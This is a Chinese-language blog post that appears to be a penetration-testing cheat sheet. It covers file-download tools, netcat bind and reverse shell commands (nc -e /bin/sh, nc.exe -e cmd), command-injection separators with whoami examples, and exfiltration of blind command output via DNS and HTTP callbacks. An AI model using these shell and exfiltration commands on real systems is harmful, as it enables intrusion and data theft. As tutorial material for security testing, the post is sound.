渗透测试中常用的命令
地址:https://blog.csdn.net/weixin_43303273/article/details/83029138
文件上传下-解决无图形化&解决数据传输
Linux:
wget
curl
python
ruby
perl
Windows:
PowerShell
Certutil
Bitsadmin
msiexec
mshta
rund1132
命令生成地址:https://forum.ywhack.com/bountytips.php?download
反弹shell命令-解决数据回显&解决数据通讯
正向连接
正向连接就是客户端主动去找服务端
正向连接主要用于攻击机没有固定公网地址,服务端有固定公网地址的情况
windows(攻击者机器)进行正向连接
服务端(linux系统)
nc -e /bin/sh -lvvp 4444
客户端(windows系统)
nc.exe 目标ip 4444
linux(攻击者机器)进行正向连接
服务端(windows系统)
nc.exe -e cmd -lvvp 4444
客户端(linux系统)
nc 目标ip 4444
反向连接
反向连接就是服务端主动找客户端
反向连接主要用于攻击机有固定公网地址,获取服务端内网机器命令行的情况
windows(攻击者机器)进行反向连接
服务端(linux系统)
nc -e /bin/sh 目标ip 4444
客户端(windows系统)
nc.exe -lvvp 4444
linux(攻击者机器)进行反向连接
服务端(windows系统)
nc.exe -e cmd 目标ip 4444
客户端(linux系统)
nc -lvvp 4444
命令生成地址:https://forum.ywhack.com/shell.php
执行多条命令
通过管道符可执行多条命令
管道符:|(管道符号)||(逻辑或)&&(逻辑与)&(后台任务符号)
windows-> | & || &&
Linux-> ; | || & && ``
例子:
ping -c 1 127.0.0.1 ; whoami
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 `whoami`
命令执行无回显
1.反弹shell,上面已经提到
2.数据外带,数据外带可以http外带、dns外带等
数据外带windows和linux外带会有一定差距,所以这里分系统解释
Linux
-
dns外带
推荐地址:http://dnslog.cn/
效果如下:
当执行命令中存在特殊符号时,ping会失败导致无法获取外带数据,效果如下
此时到dnslog上不会获取到数据,这里想要外带代码可以通过2中方法,一是对执行的结果进行编码,二是替换域名中不能包含的特殊符号
1.对执行结果进行编码,效果如下:
base64编码也是会出现/、+、=等特殊符号的,替换即可
2.替换特殊字符,效果如下
可以触发dns解析的命令还有wget curl等
-
http外带
推荐方法burpsuite的Collaborator功能
效果如下
通过这种方法只能获取到第一行结果,可以通过nl一行一行获取,我比较喜欢用tr命令吧\n替换为逗号这样就可以直接获得命令执行的结果了
上面用的是get请求外带,还可以post请求外带,post外带就友好多了
效果如下:
如果还是用``执行命令也只能获取到第一行结果(提醒get请求用$()执行命令也只能获取到第一行)
Windows
windows和linux的区别还是蛮大的,``执行命令是linux特有的,windows不能使用,并且cmd不能使用变量,所以数据外带需要借助powershell
//基本上所有语言调用windows命令行默认都是cmd命令行,在cmd执行powershell会到powershell命令行,但web页面是无交互的
//解决web不能使用powershell交互界面,powershell后直接跟命令等同于执行powershell命令
//powershell可以编辑类似shell脚本的代码
#powershell定义变量
PS>$a=whoami
#当变量值等于一个命令时,powershell会当做命令执行,基本上等同于linux的shell
PS>$a
主机名\用户名
#所以直接使用变量值也能成功执行命令
PS>$(whoami)
主机名\用户名
#+用法,当两个字符串相加时会连接字符串
PS>$a='a';$b='b';$z=$a+$b;echo $z;
ab
#想要变量的值单做命令执行,要执行的命令不能用引号包括
PS>$a='whoami'
PS>$a
whoami
PS>$a=whoami
PS>$a
主机名\用户名
#变量等于的值用双引号powershell当做字符输出,cmd调用powershell则会正常执行
PS> $a="whoami";$a
whoami
cmd>powershell $a="whoami";$a#这里等于命令双引号也可省略
主机名\用户名
#cmd单引号效果
cmd>powershell $a='whoami';$a
whoami
dns外带
效果如下
http外带
windows和linux的不同之处在于,linux curl url/$(命令)
返回的是第一行数据,windows会一行显示
GET请求外带,效果如下
POST请求外带,效果如下
windows powershell中curl命令参数和linux中的参数有很大不同;
windows cmd中curl参数和linux的大致相同,当不能通过$()执行命令
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://guofun.top/web/74/
共有 0 条评论